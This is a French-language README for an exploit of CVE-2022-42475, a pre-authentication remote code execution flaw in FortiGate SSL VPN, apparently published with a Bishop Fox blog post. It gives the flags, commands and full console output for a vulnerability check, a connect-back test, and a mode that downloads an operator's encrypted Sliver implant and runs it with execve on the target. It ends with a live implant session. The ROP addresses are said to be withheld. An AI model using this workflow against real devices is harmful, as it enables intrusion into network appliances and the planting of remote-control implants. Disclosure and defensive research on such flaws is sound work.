CVE-2022-42475

Contexte

Ceci est l'exploit pour l'article de blog ici : https://bishopfox.com/blog/exploit-cve-2022-42475

Version expurgée

Cette version de l'exploit ne fonctionnera pas sans que vous, le hacker, fournissiez les adresses mémoire nécessaires pour les gadgets ROP, etc. Le travail nécessaire pour déterminer ces données est confidentiel et propriétaire de Bishop Fox et je ne publierai pas (ne peux pas) le publier en même temps que cet exploit. Je suis sûr que vous comprenez !

Modes de fonctionnement

• Validation uniquement, pas d'exploit. Détermine si vulnérable. Pas de payload, pas de shellcode.
• Exploit, mais vérification uniquement. Exécute un shellcode de « ping » de connexion retour bénin pour vérifier que la cible est exploitable.
• Exploit avec stager binaire de connexion retour. Le shellcode se connecte en retour à l'exploit, télécharge un fichier binaire fourni par l'opérateur et chiffré (typiquement https://gitub.com/BishopFox/Sliver), déchiffre le binaire, puis appelle execve(fichier_binaire).

Remarque : Actuellement, le mode « validation uniquement » fonctionne sur toutes les versions connues de FortiOS. Cependant, les exploits fonctionnent uniquement contre FortiOS 6.0.4 sur du matériel 100D. Je ne travaille plus chez BF et je ne peux donc pas publier l'exploit étendu qui supporte environ 18k cibles.

Prérequis

• PyCrypto
• pycryptodome

pip3 install PyCrypto
pip3 install pycryptodome

Validation uniquement

Cela ne tentera pas d'exploiter le bug, mais le déclenchera plutôt comme un crash (le daemon SSL VPN distant redémarre automatiquement et immédiatement). Le crash est détecté heuristiquement et signalé à l'opérateur.

Exécutez-le en utilisant le flag -v de validation :

$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mais validation (fonctionnalité disponible uniquement pour FortiOS 6.0.4 sur les appareils 100D pour l'instant)

Cela déclenchera le bug, déploiera une chaîne ROP et sautera dans le shellcode. Le shellcode est bénin et fonctionne comme suit :

• L'exploit se connecte à la cible et déclenche la vuln pour exécuter le shellcode
• Le shellcode se connecte en retour à l'IP:port de l'opérateur
• Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
• L'exploit délivre un petit payload de test chiffré au shellcode (la clé AES est aléatoire à chaque exécution)
• Le shellcode déchiffre le payload et le sauvegarde dans /tmp/x sur l'appareil FortiGate
• Le shellcode envoie un autre octet 0xbf à l'exploit si le déchiffrement du payload a réussi
• L'exploit lit l'octet et confirme l'exécution de code.

Flags :

-t           hôte/IP cible
-p           port cible
-e           mode exploit
-c           mode connexion retour uniquement
-H et -P     IP:port de l'opérateur (obligatoire)
-s           version logicielle de FortiOS (obligatoire)
-m           modèle matériel exécutant FortiOS
-d           activer le débogage

Un exemple où nous sélectionnons à la fois la version logicielle 6.0.4 et le modèle d'appareil 100D :

┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Si vous omettez le -m pour choisir un modèle matériel, l'exploit forcera par force brute toutes les cibles matérielles pour la version logicielle spécifiée.

Guerre thermonucléaire globale

• L'opérateur spécifie l'emplacement d'un binaire d'implant Sliver (basé sur Linux)
• L'exploit se connecte à la cible et déclenche la vuln pour exécuter le shellcode
• Le shellcode se connecte en retour à l'IP:port de l'opérateur
• Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
• L'exploit chiffre le binaire Sliver et l'envoie au shellcode
• Le shellcode déchiffre le binaire et le sauvegarde dans /tmp/x
• Le shellcode envoie un octet 0xbf de succès à l'exploit
• L'exploit lit l'octet et confirme l'exécution de code
• Le shellcode appelle execve("/tmp/x")
• ???
• Profit !

Flags :

-t           hôte/IP cible
-p           port cible
-e           mode exploit
-f filename  /chemin/vers/binaire/à/execve/sur/la/cible
-H et -P     IP:port de l'opérateur pour la connexion retour (obligatoire)
-s           version logicielle de FortiOS (obligatoire)
-m           modèle matériel exécutant FortiOS
-d           activer le débogage

Sliver :

carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit :

$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Et de retour dans Sliver :

[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls